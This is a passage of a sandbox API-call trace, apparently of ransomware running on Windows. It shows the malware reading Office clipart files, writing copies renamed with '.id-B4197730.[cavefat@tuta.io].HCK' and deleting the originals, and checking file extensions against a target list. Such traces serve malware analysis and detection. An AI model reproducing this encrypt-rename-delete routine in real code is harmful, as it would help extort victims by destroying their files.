[0162.879] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5516, lpOverlapped=0x0) returned 1 [0162.887] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5520, lpOverlapped=0x0) returned 1 [0162.888] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.888] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.888] SetEndOfFile (hFile=0x364) returned 1 [0162.888] CloseHandle (hObject=0x364) returned 1 [0162.890] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.890] SetEndOfFile (hFile=0x398) returned 1 [0162.890] CloseHandle (hObject=0x398) returned 1 [0162.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.891] lstrlenW (lpString=".doc") returned 4 [0162.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.891] lstrlenW (lpString=".docx") returned 5 [0162.891] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0162.891] lstrlenW (lpString=".pdf") returned 4 [0162.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.891] lstrlenW (lpString=".xls") returned 4 [0162.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.891] lstrlenW (lpString=".xlsx") returned 5 [0162.891] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0162.891] lstrlenW (lpString=".ppt") returned 4 [0162.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.891] lstrlenW (lpString=".zip") returned 4 [0162.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.891] lstrlenW (lpString=".rar") returned 4 [0162.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.891] lstrlenW (lpString=".bz2") returned 4 [0162.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.891] lstrlenW (lpString=".7z") returned 3 [0162.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".dbf") returned 4 [0162.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".1cd") returned 4 [0162.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".jpg") returned 4 [0162.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".doc") returned 4 [0162.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString=".docx") returned 5 [0162.892] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0162.892] lstrlenW (lpString=".pdf") returned 4 [0162.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString=".xls") returned 4 [0162.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.892] lstrlenW (lpString=".xlsx") returned 5 [0162.892] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0162.892] lstrlenW (lpString=".ppt") returned 4 [0162.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".zip") returned 4 [0162.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.892] lstrlenW (lpString=".rar") returned 4 [0162.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString=".bz2") returned 4 [0162.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString=".7z") returned 3 [0162.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".dbf") returned 4 [0162.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".1cd") returned 4 [0162.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0162.892] lstrlenW (lpString=".jpg") returned 4 [0162.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.892] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.892] lstrlenW (lpString="J0086428.WMF") returned 12 [0162.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.893] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=35346) returned 1 [0162.893] CloseHandle (hObject=0x398) returned 1 [0162.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0162.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.893] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.893] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.894] GetLastError () returned 0x0 [0162.894] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x8a12, lpOverlapped=0x0) returned 1 [0162.925] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x8a20, lpOverlapped=0x0) returned 1 [0162.926] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.926] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.927] SetEndOfFile (hFile=0x364) returned 1 [0162.927] CloseHandle (hObject=0x364) returned 1 [0162.928] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.928] SetEndOfFile (hFile=0x398) returned 1 [0162.929] CloseHandle (hObject=0x398) returned 1 [0162.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".doc") returned 4 [0162.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString=".docx") returned 5 [0162.930] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0162.930] lstrlenW (lpString=".pdf") returned 4 [0162.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString=".xls") returned 4 [0162.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.930] lstrlenW (lpString=".xlsx") returned 5 [0162.930] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0162.930] lstrlenW (lpString=".ppt") returned 4 [0162.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".zip") returned 4 [0162.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.930] lstrlenW (lpString=".rar") returned 4 [0162.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString=".bz2") returned 4 [0162.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString=".7z") returned 3 [0162.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".dbf") returned 4 [0162.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".1cd") returned 4 [0162.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".jpg") returned 4 [0162.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".doc") returned 4 [0162.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString=".docx") returned 5 [0162.930] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0162.930] lstrlenW (lpString=".pdf") returned 4 [0162.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString=".xls") returned 4 [0162.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.930] lstrlenW (lpString=".xlsx") returned 5 [0162.930] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0162.930] lstrlenW (lpString=".ppt") returned 4 [0162.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.930] lstrlenW (lpString=".zip") returned 4 [0162.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.930] lstrlenW (lpString=".rar") returned 4 [0162.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.931] lstrlenW (lpString=".bz2") returned 4 [0162.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.931] lstrlenW (lpString=".7z") returned 3 [0162.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.931] lstrlenW (lpString=".dbf") returned 4 [0162.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.931] lstrlenW (lpString=".1cd") returned 4 [0162.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0162.931] lstrlenW (lpString=".jpg") returned 4 [0162.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.931] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.931] lstrlenW (lpString="J0086432.WMF") returned 12 [0162.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.932] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=33434) returned 1 [0162.932] CloseHandle (hObject=0x398) returned 1 [0162.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0162.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.932] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.932] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0162.932] GetLastError () returned 0x0 [0162.932] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x829a, lpOverlapped=0x0) returned 1 [0162.934] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x82a0, lpOverlapped=0x0) returned 1 [0162.935] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0162.935] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0162.935] SetEndOfFile (hFile=0x364) returned 1 [0162.936] CloseHandle (hObject=0x364) returned 1 [0162.937] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.937] SetEndOfFile (hFile=0x398) returned 1 [0162.938] CloseHandle (hObject=0x398) returned 1 [0162.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0162.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.938] lstrlenW (lpString=".doc") returned 4 [0162.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.938] lstrlenW (lpString=".docx") returned 5 [0162.938] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0162.938] lstrlenW (lpString=".pdf") returned 4 [0162.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.938] lstrlenW (lpString=".xls") returned 4 [0162.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.938] lstrlenW (lpString=".xlsx") returned 5 [0162.938] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0162.938] lstrlenW (lpString=".ppt") returned 4 [0162.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".zip") returned 4 [0162.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.939] lstrlenW (lpString=".rar") returned 4 [0162.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString=".bz2") returned 4 [0162.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString=".7z") returned 3 [0162.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".dbf") returned 4 [0162.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".1cd") returned 4 [0162.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".jpg") returned 4 [0162.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".doc") returned 4 [0162.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString=".docx") returned 5 [0162.939] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0162.939] lstrlenW (lpString=".pdf") returned 4 [0162.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString=".xls") returned 4 [0162.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.939] lstrlenW (lpString=".xlsx") returned 5 [0162.939] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0162.939] lstrlenW (lpString=".ppt") returned 4 [0162.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".zip") returned 4 [0162.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.939] lstrlenW (lpString=".rar") returned 4 [0162.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString=".bz2") returned 4 [0162.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString=".7z") returned 3 [0162.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".dbf") returned 4 [0162.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".1cd") returned 4 [0162.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0162.939] lstrlenW (lpString=".jpg") returned 4 [0162.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.940] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.940] lstrlenW (lpString="J0086478.WMF") returned 12 [0162.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.940] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14174) returned 1 [0162.940] CloseHandle (hObject=0x398) returned 1 [0162.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0162.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0163.344] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.344] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.664] GetLastError () returned 0x0 [0163.664] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x375e, lpOverlapped=0x0) returned 1 [0163.666] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3760, 